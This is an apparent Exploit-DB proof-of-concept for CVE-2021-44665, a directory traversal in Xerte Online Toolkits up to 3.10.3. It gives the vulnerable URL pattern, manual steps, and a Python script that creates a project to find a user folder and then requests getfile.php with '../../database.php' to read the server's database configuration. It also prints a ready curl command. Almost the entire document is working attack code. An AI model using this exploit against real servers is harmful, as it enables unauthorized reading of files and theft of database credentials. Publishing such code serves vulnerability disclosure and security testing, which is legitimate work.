# Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)
# Date: 05/03/2021
# Exploit Author: Rik Lutz
# Vendor Homepage: https://xerte.org.uk
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip
# Version: up until 3.10.3
# Tested on: Windows 10 XAMP
# CVE : CVE-2021-44665
# This PoC assumes guest login is enabled. Vulnerable url:
# https://<host>/getfile.php?file=<user-direcotry>/../../database.php
# You can find a userfiles-directory by creating a project and browsing the media menu.
# Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download
# The userfiles-direcotry will be noted in the URL and/or when you download a file.
# They look like: <numbers>-<username>-<templatename>
import requests
import re
xerte_base_url = "http://127.0.0.1"
file_to_grab = "/../../database.php"
php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.
with requests.Session() as session:
# Get a PHP session ID
if not php_session_id:
session.get(xerte_base_url)
else:
session.cookies.set("PHPSESSID", php_session_id)
# Use a default template
data = {
'tutorialid': 'Nottingham',
'templatename': 'Nottingham',
'tutorialname': 'exploit',
'folder_id': ''
}
# Create a new project in order to create a user-folder
template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)
# Find template ID
data = {
'template_id': re.findall('(\d+)', template_id.text)[0]
}
# Find the created user-direcotry:
user_direcotry = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)
user_direcotry = re.findall('USER-FILES\/([0-9]+-[a-z0-9]+-[a-zA-Z0-9_]+)', user_direcotry.text)[0]
# Grab file
result = session.get(xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)
print(result.text)
print("|-- Used Variables: --|")
print("PHP Session ID: " + session.cookies.get_dict()['PHPSESSID'])
print("user direcotry: " + user_direcotry)
print("Curl example:")
print('curl --cookie "PHPSESSID=' + session.cookies.get_dict()['PHPSESSID'] + '" ' + xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)
